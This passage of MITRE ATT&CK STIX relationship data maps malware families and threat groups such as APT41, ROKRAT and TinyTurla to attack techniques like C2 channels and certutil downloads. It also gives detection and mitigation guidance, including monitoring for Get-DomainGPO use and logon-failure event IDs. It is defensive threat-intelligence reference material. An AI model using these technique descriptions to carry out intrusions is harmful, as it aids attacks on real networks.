"relationship--b419439a-ab5d-4ff7-80c1-8300f29872d7", "created": "2022-03-30T14:26:51.861Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Trimarc Detecting Password Spraying", "description": "Metcalf, S. (2018, May 6). Trimarc Research: Detecting Password Spraying with Security Event Auditing. Retrieved January 16, 2019.", "url": "https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing"}, {"source_name": "Mandiant Cloudy Logs 2023", "description": "Pany, D. & Hanley, C. (2023, May 3). Cloudy with a Chance of Bad Logs: Cloud Platform Log Configurations to Consider in Investigations. Retrieved October 16, 2023.", "url": "https://www.mandiant.com/resources/blog/cloud-bad-log-configurations"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-16T17:14:24.173Z", "description": "Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Consider the following event IDs:(Citation: Trimarc Detecting Password Spraying)\nDomain Controllers: \"Audit Logon\" (Success & Failure) for event ID 4625.\nDomain Controllers: \"Audit Kerberos Authentication Service\" (Success & Failure) for event ID 4771.\nAll systems: \"Audit Logon\" (Success & Failure) for event ID 4648.(Citation: Mandiant Cloudy Logs 2023)", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b41abaa3-a21f-4d2c-9c60-c90c4f360b00", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT30", "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}], "modified": "2020-03-17T01:57:57.402Z", "description": "If [NETEAGLE](https://attack.mitre.org/software/S0034) does not detect a proxy configured on the infected machine, it will send beacons via UDP/6000. Also, after retrieving a C2 IP address and Port Number, [NETEAGLE](https://attack.mitre.org/software/S0034) will initiate a TCP connection to this socket. The ensuing connection is a plaintext C2 channel in which commands are specified by DWORDs.(Citation: FireEye APT30)", "relationship_type": "uses", "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b41c3406-5ffb-4e92-ab0a-bc62da337eb9", "created": "2024-01-23T19:45:30.722Z", "revoked": false, "external_references": [{"source_name": "Kaspersky ToddyCat Check Logs October 2023", "description": "Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.", "url": "https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-23T19:45:30.722Z", "description": "[ToddyCat](https://attack.mitre.org/groups/G1022) has used Powershell scripts to perform post exploit collection.(Citation: Kaspersky ToddyCat Check Logs October 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b41c9b77-536b-49bc-8cb9-a873aa121002", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye Poison Ivy", "description": "FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014.", "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf"}], "modified": "2020-03-21T00:08:07.216Z", "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) uses the Camellia cipher to encrypt communications.(Citation: FireEye Poison Ivy)", "relationship_type": "uses", "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b41dfa32-bec0-49ee-923f-d4880f4f31ce", "type": "relationship", "created": "2022-03-30T14:26:51.849Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.849Z", "description": "Monitor for suspicious use of <code>gpresult</code>. Monitor for the use of PowerShell functions such as <code>Get-DomainGPO</code> and <code>Get-DomainGPOLocalGroup</code> and processes spawning with command-line arguments containing <code>GPOLocalGroup</code>.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--1b20efbf-8063-4fc3-a07d-b575318a301b", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b4228f64-bc0c-47a5-a3d8-d9aabdf66bfc", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "F-Secure The Dukes", "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}], "modified": "2020-03-17T02:05:30.596Z", "description": "[OnionDuke](https://attack.mitre.org/software/S0052) uses HTTP and HTTPS for C2.(Citation: F-Secure The Dukes)", "relationship_type": "uses", "source_ref": "malware--b136d088-a829-432c-ac26-5529c26d4c7e", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b42354ae-384d-4885-96a0-1594ed6dd427", "type": "relationship", "created": "2021-10-11T18:53:48.792Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CheckPoint Bandook Nov 2020", "url": "https://research.checkpoint.com/2020/bandook-signed-delivered/", "description": "Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}], "modified": "2021-10-11T18:53:48.792Z", "description": "[Bandook](https://attack.mitre.org/software/S0234) can collect information about the drives available on the system.(Citation: CheckPoint Bandook Nov 2020) ", "relationship_type": "uses", "source_ref": "malware--835a79f1-842d-472d-b8f4-d54b545c341b", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b42c23c9-99f4-4b1f-91e2-a945a119fe98", "created": "2020-04-28T13:48:00.518Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Crowdstrike GTR2020 Mar 2020", "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.", "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf"}, {"source_name": "FireEye APT41 March 2020", "description": "Glyer, C, et al. (2020, March). This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved April 28, 2020.", "url": "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html"}, {"source_name": "Rostovcev APT41 2021", "description": "Nikita Rostovcev. (2022, August 18). APT41 World Tour 2021 on a tight schedule. Retrieved February 22, 2024.", "url": "https://www.group-ib.com/blog/apt41-world-tour-2021/"}, {"source_name": "Group IB APT 41 June 2021", "description": "Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021.", "url": "https://www.group-ib.com/blog/colunmtk-apt41/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-22T21:34:38.754Z", "description": "[APT41](https://attack.mitre.org/groups/G0096) used [certutil](https://attack.mitre.org/software/S0160) to download additional files.(Citation: FireEye APT41 March 2020)(Citation: Crowdstrike GTR2020 Mar 2020)(Citation: Group IB APT 41 June 2021) [APT41](https://attack.mitre.org/groups/G0096) downloaded post-exploitation tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154) via command shell following initial access.(Citation: Rostovcev APT41 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b42d990f-4fa7-40be-9018-73c75130fcfe", "created": "2023-03-13T17:55:25.713Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-13T17:55:25.713Z", "description": "Use application control where appropriate to block use of PowerShell CmdLets or other host based resources to access cloud API resources.", "relationship_type": "mitigates", "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", "target_ref": "attack-pattern--55bb4471-ff1f-43b4-88c1-c9384ec47abf", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b432bca9-8f75-431d-b0af-f43623e287d4", "type": "relationship", "created": "2020-06-23T19:12:25.103Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-08-16T21:02:05.517Z", "description": "Script blocking extensions can help prevent the execution of JavaScript and HTA files that may commonly be used during the exploitation process. For malicious code served up through ads, adblockers can help prevent that code from executing in the first place.", "relationship_type": "mitigates", "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b4349e95-eeff-4784-8a7d-2c6d60a734dd", "type": "relationship", "created": "2019-04-19T15:30:36.819Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A", "source_name": "US-CERT HOPLIGHT Apr 2019"}], "modified": "2019-04-22T19:41:53.432Z", "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has the ability to connect to a remote host in order to upload and download files.(Citation: US-CERT HOPLIGHT Apr 2019)\t", "relationship_type": "uses", "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b43dfc0c-beca-45c0-bb47-5b57a6acada9", "type": "relationship", "created": "2021-09-02T16:01:58.910Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf", "description": "Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", "source_name": "Proofpoint Operation Transparent Tribe March 2016"}, {"source_name": "Kaspersky Transparent Tribe August 2020", "url": "https://securelist.com/transparent-tribe-part-1/98127/", "description": "Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021."}, {"source_name": "Talos Oblique RAT March 2021", "url": "https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html", "description": "Malhotra, A. (2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021."}, {"source_name": "Talos Transparent Tribe May 2021", "url": "https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html", "description": "Malhotra, A. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal. Retrieved September 2, 2021."}, {"source_name": "Unit 42 ProjectM March 2016", "url": "https://unit42.paloaltonetworks.com/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe/", "description": "Falcone, R. and Conant S. (2016, March 25). ProjectM: Link Found Between Pakistani Actor and Operation Transparent Tribe. Retrieved September 2, 2021."}], "modified": "2021-10-15T14:43:12.110Z", "description": "[Transparent Tribe](https://attack.mitre.org/groups/G0134) has sent spearphishing e-mails with attachments to deliver malicious payloads.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)(Citation: Talos Oblique RAT March 2021)(Citation: Talos Transparent Tribe May 2021)(Citation: Unit 42 ProjectM March 2016)\t ", "relationship_type": "uses", "source_ref": "intrusion-set--e44e0985-bc65-4a8f-b578-211c858128e3", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b4445491-4549-4333-b6b8-034ab4932295", "type": "relationship", "created": "2020-08-11T21:15:35.509Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit42 RDAT July 2020", "url": "https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/", "description": "Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."}], "modified": "2020-08-11T21:15:35.509Z", "description": "[RDAT](https://attack.mitre.org/software/S0495) can issue SOAP requests to delete already processed C2 emails. [RDAT](https://attack.mitre.org/software/S0495) can also delete itself from the infected system.(Citation: Unit42 RDAT July 2020)\t", "relationship_type": "uses", "source_ref": "malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b4447988-d4a6-4a6d-b2d0-802869a6006a", "type": "relationship", "created": "2022-03-30T14:26:51.859Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.859Z", "description": "Monitor newly executed processes that may leverage Microsoft Office-based applications for persistence between startups. Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b4457aad-3021-4413-80a9-2ddb1210f111", "type": "relationship", "created": "2022-03-30T14:26:51.865Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.865Z", "description": "Monitor for newly constructed network connections that are sent or received by untrusted hosts. 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(2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021.", "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-24T21:22:24.174Z", "description": "Some versions of [Chaes](https://attack.mitre.org/software/S0631) stored its instructions (otherwise in a `instructions.ini` file) in the Registry.(Citation: Cybereason Chaes Nov 2020) ", "relationship_type": "uses", "source_ref": "malware--77e0ecf7-ca91-4c06-8012-8e728986a87a", "target_ref": "attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b45c7b78-55c7-4418-ab03-9f805de7376d", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html", "description": "Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.", "source_name": "Talos ROKRAT"}, {"description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.", "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/", "source_name": "Securelist ScarCruft May 2019"}, {"source_name": "Volexity InkySquid RokRAT August 2021", "url": "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/", "description": "Cash, D., Grunzweig, J., Adair, S., Lancaster, T. (2021, August 25). North Korean BLUELIGHT Special: InkySquid Deploys RokRAT. Retrieved October 1, 2021."}], "modified": "2022-03-22T17:21:33.384Z", "description": "[ROKRAT](https://attack.mitre.org/software/S0240) has used legitimate social networking sites and cloud platforms (including but not limited to Twitter, Yandex, Dropbox, and Mediafire) for C2 communications.(Citation: Talos ROKRAT)(Citation: Securelist ScarCruft May 2019)(Citation: Volexity InkySquid RokRAT August 2021)", "relationship_type": "uses", "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b45d1bb3-5254-4fc5-ada0-d360584b174c", "type": "relationship", "created": "2022-03-30T14:26:51.849Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.849Z", "description": "The removal of the\u00a0<code>com.apple.quarantine</code>\u00a0flag by a user instead of the operating system is a suspicious action and should be examined further. Also monitor software update frameworks that may strip this\u00a0flag when performing updates.", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b45e744d-f9c3-4469-a410-137f1802536f", "type": "relationship", "created": "2020-05-20T19:54:06.589Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Tropic Trooper May 2020", "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf", "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}], "modified": "2020-05-29T13:31:07.773Z", "description": "[USBferry](https://attack.mitre.org/software/S0452) can collect information from an air-gapped host machine.(Citation: TrendMicro Tropic Trooper May 2020)\t", "relationship_type": "uses", "source_ref": "malware--75bba379-4ba1-467e-8c60-ec2b269ee984", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b462ba3d-65a4-4565-be36-94d3169b993f", "type": "relationship", "created": "2022-03-30T14:26:51.852Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.852Z", "description": "Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--2cd950a6-16c4-404a-aa01-044322395107", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--b4642810-53c4-4ff2-859f-f4b707a36097", "created": "2022-04-16T21:30:58.828Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Talos TinyTurla September 2021", "url": "https://blog.talosintelligence.com/2021/09/tinyturla.html", "description": "Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[TinyTurla](https://attack.mitre.org/software/S0668) can go through a list of C2 server IPs and will try to register with each until one responds.(Citation: Talos TinyTurla September 2021)", "modified": "2022-04-16T21:31:32.987Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--2a7c1bb7-cd12-456e-810d-ab3bf8457bab", "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b4645fc7-ed61-46d8-a793-ce0e8e43b64a", "created": "2023-10-02T17:38:12.273Z", "revoked": false, "external_references": [{"source_name": "Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023", "description": "FBI et al. (2023, May 9). Hunting Russian Intelligence \u201cSnake\u201d Malware. Retrieved June 8, 2023.", "url": "https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-02T17:38:12.273Z", "description": "[Uroburos](https://attack.mitre.org/software/S0022) has the ability to communicate over custom communications methodologies that ride over common network protocols including raw TCP and UDP sockets, HTTP, SMTP, and DNS.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)", "relationship_type": "uses", "source_ref": "malware--80a014ba-3fef-4768-990b-37d8bd10d7f4", "target_ref": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b4655ee0-bb6f-4fe3-9427-7cc7e91c61d8", "type": "relationship", "created": "2022-03-30T14:26:51.846Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.846Z", "description": "Enable the UpdateFolderPermissions action for all logon types. The mailbox audit log will forward folder permission modification events to the Unified Audit Log. Create rules to alert on ModifyFolderPermissions operations where the Anonymous or Default user is assigned permissions other than None.\r\n\r\nA larger than normal volume of emails sent from an account and similar phishing emails sent from\u202freal accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring.", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b465fe54-83e6-4d1c-b752-d13bb788c3ac", "created": "2019-06-14T17:17:06.978Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-07-14T13:41:35.797Z", "description": "Limit the number of accounts with permissions to create other accounts. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b46d0c20-61f1-4ab4-be3b-fa7dace805f0", "type": "relationship", "created": "2021-03-01T14:07:36.893Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint LookBack Malware Aug 2019", "url": "https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks", "description": "Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021."}], "modified": "2021-03-02T18:15:56.497Z", "description": "[LookBack](https://attack.mitre.org/software/S0582) uses a custom binary protocol over sockets for C2 communications.(Citation: Proofpoint LookBack Malware Aug 2019)", "relationship_type": "uses", "source_ref": "malware--c9ccc4df-1f56-49e7-ad57-b383e1451688", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b4728dde-0d7b-4650-910d-4778a07cbfa0", "type": "relationship", "created": "2021-04-06T12:22:23.769Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Aqua Kinsing April 2020", "url": "https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability", "description": "Singer, G. (2020, April 3). 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FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"}], "modified": "2018-10-17T00:14:20.652Z", "description": "[HALFBAKED](https://attack.mitre.org/software/S0151) can obtain screenshots from the victim.(Citation: FireEye FIN7 April 2017)", "relationship_type": "uses", "source_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", 